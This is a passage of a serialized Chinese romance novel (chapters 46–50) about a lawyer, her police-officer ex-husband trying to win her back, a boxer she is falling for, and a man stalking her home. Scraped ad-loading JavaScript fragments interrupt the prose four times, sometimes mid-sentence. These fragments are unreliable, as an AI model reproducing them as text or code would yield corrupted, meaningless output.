余琛多年比赛的经验,时不时就会讲一点给阿生。虽然不准阿生叫他师父,但心里也当他是半个徒弟的。 何广生吐了吐舌头。他现在的精力都在经营拳馆上,最近生意不错,北京市场广阔,他打算明年再开家分店,还没跟老大说。 师徒俩聊着天往更衣室去了,后排的沙袋侧面露出一张黝黑而凶戾的脸。 雷劲看了余琛打拳的全过程,面上露出一丝不易察觉的鄙夷:不过如此。 看来业内对他的赞誉,都是言过其实。 这人打拳,还是花架子多。 不过这样一来,下手反而更容易了。 雷劲的一侧嘴角翘起,转过身,慢慢往休息区走去。 康嫣然也很想和余琛打一场的。 虽然跟他学拳很多年了,可没有真正较量过。 谁不向往和拳王交手呢?即便实力悬殊,能试一场也是好的。 可惜有这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个想法的人太多了,那些更热情更开朗的人挤在前面,她根本走不过去。 真是让人沮丧。 不过幸好,下节课是她的。 余琛是她的专属教练。 康嫣然看到余琛出来,迎着他走过去,冷不防看到个不速之客。 林茜来了,还带着她的助理。 康嫣然注意到,余琛的眼睛明显亮了一下。 林茜微笑着打招呼:“你忙就好。我是例行公事,每个月要来两次的。以后万一我出差,就让何婧过来。日常的法律咨询她都没问题,今天带她来熟悉一下。” 何婧和余琛打招呼:“余总好。” 余琛也温和回应:“何律师好。” 康嫣然看了眼时间,不满地说:“我们还不开始吗?” 余琛对林茜说:“不好意思,我先上课。你们随便转转。” 何广生极有眼色,这时走了过来,笑眯眯地说:“交给我就行啦。何律师,我带你转转吧。” 何婧跟着何广生去熟悉场馆。 林茜已经来过很多次,找了个地方坐下,饶有兴致地看其他人练习。 看着看着,目光被余琛和康嫣然吸引过去。 康嫣然出拳动作很标准,速度也不错,看得出练过的痕迹。美中不足的是力量有些欠缺,可能是太瘦了。 正看着,突然发现康嫣然也向她看过来。 林茜有点惊讶,对她点了点头。 康嫣然又转过头,不太高兴的样子。 林茜想起康嫣然的经历,大概不喜欢被人围观? 林茜转了个方向,看向别的地方。 包里手机震动,拿出来一看,是关昊发来的信息。 一张挂号的截图。 接着关昊又发来一条:“我最近不忙,下回我陪妈去吧。” 关昊还称呼林妈为“妈”,林茜心里有点感慨。 离了婚之后让她再对着关妈叫一声“妈”,她是说不出口的。 叫阿姨又显得薄情。 要是能像国外一样直接叫名字就好了,省去多少尴尬。 林茜回了一条:“看情况吧。那时候我也不太忙了,如果需要我再麻烦你。” 关昊接着发来:“不麻烦。妈最近身体怎么样?” “还行,沉迷养生。”林茜回道。 “什么样的养生?”关昊又问。 关昊今天的好奇心怎么这么重?林茜腹诽。但闲着也是闲着,回道:“艾灸。办了卡,天天去消费。” “有推销其他东西吗?”关昊倒是和林茜想到一块了。 “有。熏蒸用的按摩椅,据说很贵,没买。” “最近针对老年人的诈骗挺多的。我这刚结了一起非法吸收公众存款案,就是预存养老金的模式。你得空提醒妈一下。”关昊又发过来。 “好的,谢谢,我回头跟她说。”难怪关昊这么敏锐,原来是刚办了类似的案子。还真是得再跟妈好好说说,林茜想。 “有时候老年人固执,外人的话能听,儿女的话就不听。妈要是听不进去,你跟我说,我手上有真实案例,说出来有信服力。”关昊又回道。 这倒是出乎林茜意料。没想到关昊想得这么细致。 “好啊,谢谢你。” 关昊看着这条信息,林茜的语气没那么生疏了。 关昊心里有了一点底气。 47. 第 47 章 今天康嫣然打拳格外卖力,出拳快准狠,自然也获得了余琛的称赞。 可惜才15分钟,健身衣已经汗湿了,心率也升得很快,余琛抽出两张纸巾,叫她擦擦汗,休息几分钟。 林茜意识到有人来了,抬起头,看见余琛。 “在忙吗?”余琛问道。 “没有。我妈下个月要复查,让关昊帮忙挂了一个专家号,他刚把挂号信息发给我。” 余琛黏在林茜身上的视线随着她的话落到了地上,又忍不住看回她,轻声问:“你和关昊还有联系吗?” “平常没有,但有事的时候会联系一下。妈第一次去看专家就是他联系的,那个号很难挂,所以请他再帮一次。以后就不用了。”林茜看着余琛的脸色,意识到他或许是吃醋了,解释道。 余琛这个人,不开心也不会说出来,总是习惯一个人默默消化。可他眼睛里刚刚那点失落,林茜捕捉到了。 余琛也感受到了林茜话里的安抚,放下心来,伸出一只手落在林茜肩膀上,认真地说:“以后这些事告诉我,我来帮你。” “好。”林茜仰头看着余琛微笑答道。 “琛哥,我休息好了。”康嫣然的声音从后面传来。 “快去吧。”林茜催他。 何婧在何广生的陪同下已经转了一圈,大致了解了拳馆的运作模式,和林茜之前提点她的潜在风险点暗中对照,做到心里有数。 林茜下午约了客户,没去打扰余琛上课,和何广生打过招呼后,带着何婧回了律所。 养老院案件的侦查阶段结束,已经移送检察院,关昊这里暂时清闲了下来。 小王还惦记着关昊离婚的事,正好今天没约女朋友,索性陪陪关哥,一个转身连人带椅子转到了关昊旁边。 关昊看着他:“有事啊?” 小王一时语塞。关哥看着,好像比之前精神一点了? “没事,哈哈,那个……前段时间不是忙嘛,好不容易忙过这一段了,前天又是周末,大家都不愿意出来,要不今天再聚聚?” “你还挺能张罗,不陪女朋友吗?”关昊把要拿去碎掉的文稿卷成纸筒,敲着小王的肩膀说道。 “她周一晚上有课。”小王嬉皮笑脸地说,又问道:“关哥您去吗?” “看下午忙不忙吧。”关昊给了个模糊的回应。 李莉在工位上竖起耳朵听着,没吱声。她还记着昨天孙佳佳的话,男人要是喜欢高冷的,你就不能太舔狗。 听到关昊的回复,李莉庆幸自己没插嘴。等关哥定下来,自己再参与不迟。 午饭后各人在工位上打瞌睡。关昊又翻出上午和林茜的聊天记录。 很明显,林茜最后的语气是变轻松了,不是自己的错觉。 她喜欢这样的吗? 关昊仔细复盘,对比着今天和以前有什么不同。 以前家里的事习惯交给林茜兜底,她总能处理好,只要说一声就行。今天是想到了她前面,把她可能遇到的问题也提了出来,还给了解决办法。 所以林茜感到轻松。 关昊拿着上午的纸筒敲着自己的脑袋。糊涂啊,早该想到的。 林茜那么忙,当然也希望有人帮她分担这些琐事。 余琛……也是这么做的吗? 要说她和余琛之前有多深厚的感情,关昊是不信的。林茜和余琛重逢那天在车里的录音,关昊当初为了办案前后听了几十遍。 林茜从头到尾都很平静,根本不是遇到旧爱的模样。 就连余琛也很平和。 所以茜茜之前没骗他,她们应该就是朋友。 笔录中的“男朋友”,确实是个疑点,但现在没那么重要了。 重要的是,关昊把事情整体想了几遍,确定林茜的转变在之前就已经有了迹象。 她提离婚,或许不是为了余琛,而是对自己失望。 关昊想到这,又是一阵懊悔。 可接着想,十年前她和余琛只相处了很短的时间,即便是重逢后,也才几个月而已。 而自己和林茜,有四年的感情。 还有机会。 该怎么和林茜产生交集呢?关昊这辈子第一次认认真真思考怎么追女孩。 “关队,您想什么呢,这么出神?”李莉借着接水,走过来有一会了,关昊愣是没发现她。 “没什么。”关昊放下纸筒,一看是李莉,问道:“哎,你有男朋友吗?” 李莉的手不自觉抖了一下,幸好幅度不大,水没洒出来。她不着痕迹地用另一只手也捂住了杯子:“没有。您问这个干什么呀?” “哦,没事,问问。你们女孩,都喜欢什么样的男生啊?”关昊又问道。他平常玩得好的都是男的,女性朋友不多,正好碰见一个认识的,顺嘴问了。 这话落到李莉耳朵里,却如同惊雷。她瞬间想起了周晗禹的话“没准他也早对你有意思了呢?” 这是直球吗? 在这?办公室? 李莉的脸通得一下子红了,不知道该说什么。 小王耳朵尖,本来中午吃多了趴在桌子上昏昏欲睡,听见这两句瞬间清醒,起来插话:“关哥你这是打听什么呢?有目标了?” “啊,”关昊也不藏着掖着,追自己的老婆有什么好丢人的,问道:“你怎么追到你女朋友的?有什么经验吗?” 小王没想到关哥这么敞亮,倒有点不好意思起来:“嗨,那不是就是水到渠成的事儿嘛。关键还得看女孩的意思,她要本身就对你有意思,追起来就容易。要没那意思,可就费劲了。” “那要是……闹别扭了呢?”关昊犹疑着问道。 “那就是有戏啊!”小王来精神了:“女孩要一点意思没有,连搭理都不带搭理你的,还能跟你闹别扭,就是心里有你。再加把劲,好好哄哄,能成!” 关昊若有所思。 小王这经验分享到一半,对面没反应了,心里痒痒的,又小声问道:“那您怎么招惹人家了?说出来给你分析分析。” 关昊有点沮丧:“太多了,让她失望了。” 小王暗自心惊,这什么情况?关队不是刚离婚吗?进展这么快? 李莉站在一旁,一颗心从火热到冰冷。 关队心里有人了,不是自己。 小王此时不知道该不该继续问下去,一扭头李莉还在这戳着呢。 真是一波未平一波又起,都乱成一锅粥了。 小王干脆好人做到底,搂着关昊的肩膀:“这样,晚上也甭聚了,就咱俩,我给你好好分析分析,我这一堆新鲜热乎的经验,万一里面有用得上的呢。” 李莉突然说:“加上我。” “你跟着凑什么热闹呢?”小王有点不满。还看不明白吗妹妹,你没戏了。 李莉无视小王的眼神,直接对关昊说:“女生的心思很难猜的,你们俩大男人能分析出来什么?加上我,多个人多个视角。” 关昊觉得有道理:“行,晚上我请客,你俩都去。” 小王撇撇嘴,关哥这反应够迟钝的,还没看出来李莉的心思呢。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 难怪得罪了姑娘也不知道。 下了班,仨人来到烧烤店。天冷了,外面的摊子都撤了。屋里人不多,正适合谈心。 老板上了壶菊花茶:“喝点润润肺,要不一会吃多了上火。” 关昊:“得嘞,谢谢您。” 李莉也挺上道,一坐下就切入正题:“您追的那个姑娘,她都喜欢什么呀?平常有什么爱吃的,爱玩的,有什么习惯啊?” 李莉来的路上就想清楚了。关昊这样的男人,身边肯定不缺女孩子喜欢。既然还没在一起,自己就还有机会。不如趁今天打探清楚他的理想型,也看看她们交往到什么程度了。 关昊想到啥说啥:“喜欢上班,喜欢赚钱,喜欢让她有成就感的事儿。爱吃什么……糖炒栗子、冰糖葫芦、烤地瓜,还喜欢冬天,因为冬天大街上卖这三样的多,还喜欢北方四季分明。不喜欢夏天,她皮肤敏感,晒多了容易出疹子,一出门就涂防晒……” “等会!”小王嘴越张越大,这了解的也太详细了,不会已经同居了吧? “你们……到哪一步了啊?”小王试探着问道。 “这不刚离婚吗?”关昊有点失落得说。 “是,我是问您和您正追的那姑娘到哪一步了?”小王又问。 “就是我老婆,林茜啊。”关昊莫名其妙,除了她还能有谁。 “啊?哦!”小王反应过来。可不是,前段时间还沉郁得不行,这两天又精神了,关哥也不是那么容易变心的人,那就是打起精神来重新追嫂子了呗。 完了,你这回彻底没戏了。小王看了眼李莉,心中感慨。 李莉倒比他想象的淡定:“那您跟嫂子是为什么离婚啊?” “可能我以前太不顾家,让她失望了吧。”关昊不愿意让别人指责她,没提余琛的事。 “离婚这么重大的决定,肯定有什么契机吧?”李莉追问道。 小王看看关昊,又看看李莉。这姑娘真沉得住气,不简单啊,自己不掺和为妙。 可关昊却说不出口。该怎么说他亲眼看见自己的老婆和别的男人上楼了呢?关昊倒了一杯啤酒,一气灌入喉咙里。 小王知道李莉问着痛点了,怕她再刺激关哥,缓和道:“这几年离婚率越来越高了,有时候吧,就是一时冲动把婚离了,过后又后悔。嫂子现在怎么想呢?她理您吗?” 这话说到了关昊心坎里,可不就是他一时冲动把婚离了,现在悔得肠子都青了。 关昊闷声说:“理,但有事才理我,没事就不搭理。” “这就不错啦,”小王又给关昊倒上一杯酒:“有事理您,说明能正常沟通,不记恨您。最起码也是个朋友的水平,再往前走也不是不可能。嫂子毕竟是个女孩,总不能叫她主动有事没事来约您吧?” 说者无心,听者有意。 这番话说得李莉脸上青一阵白一阵。她不就是有事没事都自己贴上来吗?就像今天这顿饭,也是她死乞白赖争取来的。 关昊也听进去了:“那我接下来,该怎么办呢?” “找机会约她呗!当初谈恋爱的时候怎么办,现在就还怎么办。您还比别人多个优势呢,您足够了解她啊!”小王说道。 “有道理。”这番话大大宽慰了关昊的心,看向小王的眼神就多了几分亲切。 哥俩推杯换盏地喝起来。 夜里降温了,林茜今天又加班到很晚,出了地铁走到楼下的这几分钟里,感觉腿都冻僵了。 不知道是不是太累了出现幻觉,刚刚总感觉背后,有人在看着自己。 48. 第 48 章 “喂,阿琛。”电话响起,林茜接了起来。 “对呀,刚刚到家……是吗?等下我看看……”林茜的声音消失在楼门后。 雷劲装作在绿化带旁散步,观察着这个小区的监控,盘算在哪动手比较好。 林茜的公司他也踩过点了,在CBD,人口密集不好下手。 几次跟踪下来,没看到她老公的身影。 独居。 雷劲心底有丝兴奋,慢慢踱步走出了小区。 林茜上楼看到门口的包裹,拿起来进了门。 “我都快被你喂胖了。”林茜笑道。 余琛也不自觉笑起来:“这不是即食的,是朋友从日本寄来的鲑鱼子,现在正是最佳赏味期,我分了一半给你。等你有空,我去你家做鲑鱼子饭给你吃。” “好呀。”林茜很开心,举着盒子细看:“看起来是腌制的,这个也有最佳赏味期吗?” “秋鲑的产卵期在秋末,现在刚好是时令。” 余琛温和的声音从电话那头传来,林茜周身的寒冷好像都散了,和他聊起来:“你知道得好多哦。” “也没有,都是听朋友说的。”余琛有些腼腆。 “是什么朋友在日本啊?”林茜好奇。 “在泰国认识的朋友,以前也是拳手,后来回老家继承小吃店了。他是仙台人,老家在宫城县,正好是鲑鱼子的产地,每年都会寄一些给我。” “人生的际遇真是奇妙,你以前是面店老板,后来就成了拳王。他以前是拳手,现在是饭店老板。你们刚好倒过来。”林茜感慨。 “是啊。”余琛听林茜这么一说,果然如此。 “诶?那你和戴老板又是怎么认识的呢?”林茜想起老广私厨,余琛大概命中带天厨星,认识的朋友总和美食有关。 “他?这就说来话长了。” “洗耳恭听。”林茜给自己倒了杯茶,舒服地窝在沙发上。 “戴老板以前在香江买了条船,专门做高档餐厅的,三教九流的人都认识一些。我第一次见他,是马天成带我去的……” 当年马天成躲避洪兴的追杀,要逃出香港,走的就是戴老板的门路。可惜上船没多久,就被辣蛇的人找到了。 戴老板顺路送一程是可以的,但要拿他的游船当武行,砸他生意就不行了。客客气气把两人请下了船。 后来马天成中枪,眼见着是不行了。 戴老板也有些自责。去泰国的船已经错过了,戴老板等余琛收敛好马天成的尸体,把他送上了去深圳的船。 余琛回港后又遇到戴老板。这些年游船餐厅没落了,余琛记着当年戴老板帮过他,时不时带朋友过去照顾他生意,一来二去两人就熟了。 直到上半年,餐厅的生意难以为继。正巧余琛想来北京,戴老板宝刀未老,也想北上碰碰运气,就和余琛前后脚过来了。余琛在老广私厨入了些股份,当帮衬老朋友。 “原来是这样,你真是个好人。”茶杯见底,林茜也听得入了神。 余琛一路坎坷,还能一直记着当年帮过自己的人,又愿意付出行动去帮他,实在难得。 “我没有你说的那么好。”余琛说道。 “我说有就有,我是律师,最会找证据。我可以找出至少十件证据证明你是个好人,是我见过最好的人。”林茜坚定地说。 “好,那好人提醒你,该休息了,明天还要上班。”余琛笑着说,心里很满足。 林茜一看表,已经11点多了。聊天太投入,忘了时间,有点不好意思:“哦,那晚安啦。” “好,晚安。”余琛说着,却没有挂电话。 林茜把手机放在耳边,静静地过了几秒,忽然问道:“你还在吗?” “我在。”余琛温和的声音又在那头响起。 林茜心里有种甜蜜的感觉,有点陌生,但她喜欢。 不想放下电话,又不知道该说些什么,林茜随便开口:“你有这么丰富的经历,以后慢慢讲给我听好不好?” “好。你想听的话,随时都可以。” 林茜像一只快乐的松鼠找到了一颗巨大又肥美的坚果,不急着吃,要等到合适的时候,再慢慢享用。 “好啊,晚安。”这次是真的晚安了,林茜挂了电话,洗漱之后,嘴角弯弯地睡去。 余琛握着电话,透过窗外看着挂上中天的月亮,清冷的月辉像一双温柔的手,抚慰着他的心。回想这一路奇奇怪怪的磨难,在此刻终于释怀。原来老天已经把最好的留给他了。 第二天林茜来到所里,昨天的客户已经在等她了,带着从上一个律师那里拿回的所有资料。 经过一夜深思熟虑,他们决定委托林茜接下案子。 这次的案子在沈阳,时间很赶,周五就开庭。留给林茜的准备时间只有三天。 何婧简直头都大了,连轴转了半个月,好不容易昨天没加班,今天就又来活儿了,还一来就是急活儿。 林茜火力全开,签完合同直接投入工作。 何婧看着上个月才做过手术的老板,行吧,要不人家一单百万呢,流水的牛马,铁打的牛人。 咱精力拼不过,就苟心态。反正东北还没去过,就当旅游了。何婧自我安慰,顺便订好了周四去沈阳的车票。 这一忙直接到了天黑。 冬天黑的早,5点外面路灯就亮了。 关昊这边最近没什么案子,同事们已经收拾东西准备下班了。 昨天和小王一通交流,感觉前途光明。今天拿着手机实操起来,就觉得不是那么回事啊。 怎么约林茜出来呢? 关昊都能想象得到,直接约林茜吃饭,百分百被拒绝。 找个什么理由呢? 想回头再问问小王,一看已经没人了。 “这小子,溜得比兔子还快!”关昊又转回来。 “关哥,您不回家吗?”李莉这时候走了过来。 “嗯,不急。”关昊坐在椅子上继续想刚才的事。 “今天没约人吗?”李莉问。 “没有。” “那明天您有约吗?”李莉又问。 “怎么了?”关昊这时才转过头来看着李莉。 李莉鼓起勇气:“我这有两张音乐会的票,是明天晚上的。欧洲一个弦乐团,名气不大。朋友临时有事去不了了,就送给我了。”说完观察着关昊的反应。 “哦,那你去呗。”难不成想请我去?关昊想。 没想到李莉话锋一转:“您不是在追嫂子吗?我想着干脆送给您,您约嫂子去听呗?” “给我?”关昊有点诧异。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “是啊,我跟王哥既然知道了这个事,也想帮您出份力。正好有就送给您了,有什么进展记得跟我们说啊。”李莉看起来很真诚。 “那谢了啊,等成了请你们吃大餐!”关昊收下两张票,爽朗道。 “关队您太客气了。”李莉背着包出了办公室,刚刚提着的一口气才松下来,脸上露出一点难过的神色。 意料之中的事,伤心什么呢?李莉自嘲地想。 这两张票不是朋友送的,是她自己买的,本来是想约关昊去看,可昨天知道了关昊的心思,临时改了主意。 李莉在说的时候特意观察了关昊的神色,确定他没有要跟自己去的意思,也没接什么话,所以假意懂事一回,送给关昊一次助攻。 万一他前妻拒绝了呢?万一她们去了但还是不合适呢?反正收了她的票,总会有一个反馈的。只要没有尘埃落定,就有希望。李莉安慰自己。 关昊看着两张票,是没听过的乐团名字,不过不重要。他本来也对这些不感兴趣,重要的是林茜。 关昊拍了张照片发过去,又接一条:“朋友有两张音乐会的票,明天有事去不了了,你明天晚上有空吗?不去也是浪费了。” 林茜听到手机振动,从卷宗里抬起头来,一看是关昊,回道:“没空,最近很忙。” 关昊盯着这6个字,看起来没什么商量的余地。 那约饭也不行了,“最近很忙”也可以打发。 该找什么理由呢? 关昊苦思冥想起来。 手机又振,林茜又被打断,拿起来一看,是余琛。 “最近有空吗?我准备好了米和鲑鱼,只等下厨了。” 肚子适时发出一声空响,有点饿了。 林茜想了想,发出一条:“如果你来我家做饭,我却在房间里加班,会不会有点过分?” “不会。”余琛秒回。 “那就今天?可以直接在我家见。” “好。” 林茜收拾好要看的资料回了家。小蓝看见林茜提着包走出律所,稀奇地对苏杭说:“林律师今天下班这么早?中午何婧不是还说要狠狠加班了吗?” 苏杭抬头看了一眼:“没看提着东西走的?估计是换个地方加班。天冷啦,一黑就感觉该回家了。”说完回头看了一眼,还有半个小时。 行政是6点下班,苏杭的东西已经收拾好了。 余琛来得很快,林茜到家没一会余琛就到了。 林茜开门一看,睁大了眼:“你这是搬家吗?” 余琛一手提着一袋米和一个保温袋,另一只胳膊夹了个电饭煲。 余琛进来放下东西,换好拖鞋:“这个牌子的电饭煲煮的饭比较好吃,之前就买了,一直没拿给你。” 林茜端起电饭煲看了看:“也不至于专门送我一个吧,才一顿饭而已。” 余琛认真道:“每一顿饭都很重要的,平常也要好好吃。” 林茜吐了吐舌头,帮余琛把东西拿进厨房,然后就被推出来了:“你去忙吧,等饭好了我叫你。” 林茜转身扒在门框上,探出一个头:“那我走喽?” 林茜在家只梳了一个马尾,穿着宽大的家居服。额头的绒毛在暖黄色的灯光下泛着柔和的光彩。 余琛笑道:“快去吧。” 49. 第 49 章 余琛来敲门的时候,林茜刚好收尾。 关上电脑,头晕眼花地走出门,看余琛都有重影了。 “是不是哪里不舒服?”余琛关切地问。 林茜做完手术才一个多月,应该多休息的。但他知道工作对林茜的重要,劝她的话到嘴边又咽了回去。 “可能是盯着屏幕太久了,滴两滴眼药水就好了。”林茜揉了揉眼睛。 “眼药水在哪?我去拿。”余琛扶着林茜在沙发上坐下,听林茜的指示去卧室的书桌上拿了眼药水。 回来再看林茜,已经靠在沙发上睡着了。 余琛轻轻叹了口气,关上沙发这一侧的灯,帮林茜盖好毯子,在她身旁坐下。 林茜的头歪成一个60°角,眉头微微皱着,看起来不太舒服。余琛轻轻扶起她,靠在自己肩上,调整着高度。林茜动了动,头往余琛的肩窝蹭了蹭,又睡着了。 余琛不敢再动,连呼吸也放缓了,生怕吵到林茜。 怀里的人靠在身上,余琛静静感受着她的呼吸,缓缓把后背贴在沙发上。 两个人相互依偎着,余琛感觉自己拥有了全世界,仿佛他的人生在此刻已经圆满。 别无所求。 如果还有一丝一毫的怨怼,都该受到神佛的惩罚。 余琛慢慢闭上了眼睛。 林茜醒来时,发现窝在余琛怀里。 还蛮舒服的。 而他,好像也睡着了。 怎么回事呀?林茜有点恍惚。悄悄抬起头,余琛也睁开眼睛:“醒了?” “嗯。”林茜直起身来,有点脸红。 余琛抓了抓头发,也有点不好意思:“我们去吃饭吧。” “好啊。”林茜睡了一会,又活力十足,从沙发上起来直奔餐桌去了。 余琛看着她的背影宠溺地笑了笑,走过来盛饭。 林茜看着晶莹剔透的鱼子被舀到鲑鱼饭里,已经食指大动。余琛还贴心地煮了味增汤。 “真是巧了,今年的团建本来是有两个地方可选的,一个日本,一个泰国。虽然没去日本,但是竟然在自己家吃到了地道的日本料理。我真是太幸运了。”林茜笑嘻嘻地说。 “有两个选择吗?那为什么选泰国呢?”余琛之前以为是律所直接定好的地点。 林茜拌着饭,抬头看了他一眼又低下头:“因为想看你打比赛啊。” 对面没有反应,林茜忍不住又抬头看他,看见余琛有点愣住。 “是为了我?”余琛试探着问。 问得这么直白嘛?林茜有点不好意思了:“嗯……而且日本我去过好多回了。”说得很小声。 “茜茜,我会好好比赛的。”余琛认真说道。 “你不要受伤就好啦。”林茜大口吃起了鲑鱼饭,含混答道。 奇怪,又不是没谈过恋爱,怎么今天这么热?林茜感受着Q弹的鱼子在口中爆裂的感觉,脑海里却闪现出这么一个问题。 关昊在冷冰冰的家里,第N次翻开林茜遗留的那个记事本。 如果不是意外掉到床下,以林茜断舍离的性格,大概连这个也不会留给他。 “我的五福发财树叶子黄了!天呐,财神留步!” “春羽也死掉了。我果然是植物杀手吧。” 关昊隐约记得林茜在家里养过一段时间绿植,都是很小的盆栽,后来不知道什么时候就没了。原来它们都有名字吗? 春羽和五福发财树,她喜欢这个吗? 天冷了,关昊又睡回了床上。最新的习惯是抱着记事本睡去。有时候也会想林茜真是狠心,竟然连一件自己的东西都没留给他。 可过后又觉得是自找的。以前她本人在的时候都没珍惜。 茜茜,我一定会把你追回来。 我们从头来过。 关昊迷迷糊糊睡去。 第二天坐在工位上,关昊整理年终总结。今年的最后一个月,开始了。 关昊不喜欢文案工作,但作为支队长不得不以身作则。 小王和关昊一个性子,就喜欢往外跑,查案办案,搞了一上午文书搞得头都大了。 午休的时候几个人没在食堂吃,出来溜达透透气。 “关哥,您今天和嫂子去听音乐会吗?”李莉问。 什么音乐会?小王竖起耳朵。 “不去,年底了她忙。”关昊说。 “您不是……呃”离婚了吗还没说出口,赵诚被小王怼了一肘子,适时地闭了嘴。 “啊,我又追她呢。”关昊也挺大方,没藏着掖着。 “关哥,真男人。”赵诚竖了个大拇指。 赵诚还记得关昊在烧烤店里失魂落魄的样子。这么快就重整旗鼓从头再来了,不愧是关哥。 “对了,这两张票还给你吧,你看看找个谁一块去,别浪费了。”关昊从兜里掏出两张票,又递给了李莉。 李莉没立马接过来,犹豫着要不要开口请关昊和自己去。 没想到小王接过去了:“李莉,这两张票送我行不行?我和我女朋友去,回头请你吃饭。” “啊,行啊,我一时半会也找不着什么人。”李莉惊讶之后勉强道。 小王笑呵呵收好了票,看向李莉的眼神里有一丝不易察觉的怜悯。收收心吧妹子,关哥明摆着心里只有嫂子。 李莉却像不服输似的:“关队,那您今天晚上有什么安排啊?” 赵诚还惦记着元旦表演节目的事,插话道:“要不咱还唱歌去?关队一块?” 关昊:“不了,我还有事。你们先回吧,我去逛逛。”关昊记着离单位不远有家绿植店,已经看见了。说完抬脚走了。 小王看了眼李莉目送的眼神:“得,咱也回去吧。” 关昊来到店里,问清了春羽和五福发财树都是常见的绿植,店里都有,品相还不错。 各挑了一株。 老板叮嘱道:“春羽是水培的,怕您不方便带着,给您拿了个带土的,回家对着水龙头,把根儿上的土冲干净了,放盆里,两三天换一次水就行。” “好嘞。”关昊嘴上应着,没打算带回家。他想今天去林茜楼下碰碰运气,万一碰见了呢,正好送给她。 他想明白了,追女孩还是得投其所好,送她喜欢的东西。 一下班,关昊抓起车钥匙,拎着两盆绿植走了。 怕错过林茜,连晚饭也没吃。 万一林茜看见绿植喜欢,请他吃顿饭呢? 又或者林茜心软了,肯煮碗面给他吃? 关昊在车里高兴地想着,一点也不觉得饿。 就连今天的车里,都一改往日伤情氛围,放起了林志美的《初恋》。 “爱恋没经 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 验,今天初发现,遥遥共他见一面,那份快乐太新鲜……” 关昊随着旋律哼着,看车窗外的行人归家,看楼里的灯一盏盏亮起来,心里有点踏实,又有点向往。 以前他和林茜的家也是这样的。 以后也会是这样。 等到9点多,终于看到一个熟悉的身影。 关昊立马拎着绿植从车里出来。车停得有点远,不过也好,这样走过去不会太明显,就像是碰巧路过。 至于为什么这么巧在林茜的小区碰到,关昊不去想它。 林茜没看到他,直直地往自己的单元走过去。 关昊正要打招呼,忽然看到后面有一个人好像在跟着林茜。 出于警察的直觉,关昊停住脚步,观察起来。 这个人个子不高,弓肩缩头,时不时往周遭看一眼,和林茜保持着不远不近的距离。 关昊暂时放弃了叫住林茜的想法,他要看看这个人想干什么。 林茜进了楼门,这个人也慢慢走到楼门前一段距离,停了下来。 像是在观察什么,又退了几步,离得更远了一点。 楼门口有摄像头,上次来没发现。雷劲默默在心里记着,冷不防被人拍了一下。 “谁?!”雷劲迅速转身,下意识做出个防御的姿势。 “你是这的住户吗?在这干什么?”关昊盘问道。 雷劲看向对方,人高马大,不好惹,少生事为妙,瞪了关昊一眼,转身就走。 关昊拦住他:“问你话呢!身份证带了吗?警察,查身份证。”说着掏出了自己的警官证出示。 雷劲心里警惕起来,来过好几次了,第一回碰上警察。难道这里住了警察? 雷劲换上一副笑脸:“不好意思啊警官,和老婆吵架了,不敢上楼。身份证在家里,没带出来。”雷劲只有护照,没有身份证,但他看关昊手上没有查身份证的机器,打算赌一把。 “你住哪一户啊?”关昊问道。 “就那家。”雷劲随手一指,指着8层一个亮灯的窗户。 刚好和林茜是同一侧,林茜是3层。 “行吧,少在外头晃悠,没事就赶紧回去。” “好的好的,我再去买点东西哄哄老婆。”说完雷劲溜了。 挺开窍啊,还知道买东西哄老婆。 关昊看向手里的绿植,春羽不知什么时候被挤歪了一点。再看向林茜的窗户,已经亮灯了。 不知道她家里还有谁。 关昊犹豫了一下,还是放弃了去敲门的想法。 带着两株绿植,又回到了自己家。 到家之后,关昊开始埋怨自己:你不一向天不怕地不怕吗?怎么今天怂了呢? 可是又怕贸然上门惹林茜生气。 关昊从没遇到过这么棘手的问题。 胃里一阵抽痛,从午饭后到现在,已经10个小时没吃东西了。 关昊懒得开火,吃完一桶泡面,又有了主意。 可以迂回嘛,自己关心一下前岳母,总没错吧。 关昊发了条信息给林妈:“妈,最近身体怎么样?专家号挂上了,到时候我陪您去。” 等了一会,想着林妈或许睡了,关昊就也休息了。第二天一早,看到林妈的回信,还是两条。 关昊看着信息,心狂跳起来。 50. 第 50 章 第一条信息很短,是早上6点多发的:“关昊啊,我挺好的,不用惦记啊,你们也挺忙的,到时候让你爸跟我去就行了。” 过了十几分钟,林妈又发来第二条:“你有这份孝心,妈挺感动的,以后你在我心里,还是跟儿子一样的。你们的事茜茜都跟我们说了,是她对不起你。不过你也别怪她,生病谁都不想,你们的子女缘浅,是她没福分。” 生病?子女缘? 关昊忽然意识到,林茜是不是有什么事没告诉他? 仔细想想,上次陪岳母看病时,她好像说了一句林茜体检,不舒服之类的话。当时自己还想着问一问,结果一忙起养老院的案子就忘了。 关昊拍拍脑袋,一阵懊悔。 林茜一向要强,如果当初真有什么事没告诉他,现在问最多也只会得到一个轻描淡写的结果,或者一句“与你无关”打发了事。 顾不上丢不丢面子了,关昊直接打给了岳母。 “哎,关昊。”电话很快被接起。 “妈,我问下您,您说的生病是怎么回事?”关昊单刀直入。 “啊?不是因为她生病你们离婚的吗?”林妈在那头一脸茫然。 林茜生病了?很严重吗? 关昊瞬间脑补出林茜为了不让他担心,自己瞒着他离了婚的狗血剧情。 “我怎么可能因为她生病就离婚呢?到底怎么回事?”关昊一着急吼了出来。 这实在是出乎林妈的意料,磕磕绊绊地说:“不是因为她生病,要不了孩子了,所以你们离了吗?” 关昊愣住了。是这个原因吗?林茜执意要离婚,有这个原因吗? 关昊蓦然想起第二次去民政局时,自己鼓起勇气说的那句“林茜,你说要是咱们有个孩子会怎么样?”以及林茜听到这句话后,头也不回去领离婚证的背影。 关昊的头炸裂般地痛起来。 他突然意识到自己犯了个天大的错误。 真是该死啊,怎么连她生病都不知道呢? 当初为什么没有多关心她一点呢? 还说了往她伤口上撒盐的蠢话。 林妈听着关昊这头没了动静,心里不安起来,絮絮叨叨地劝着:“关昊啊,你想开点。其实我跟你爸知道后也考虑了很久,这个决定是不是也有点冲动了?现在科技都发达了,多试试没准也能行……” 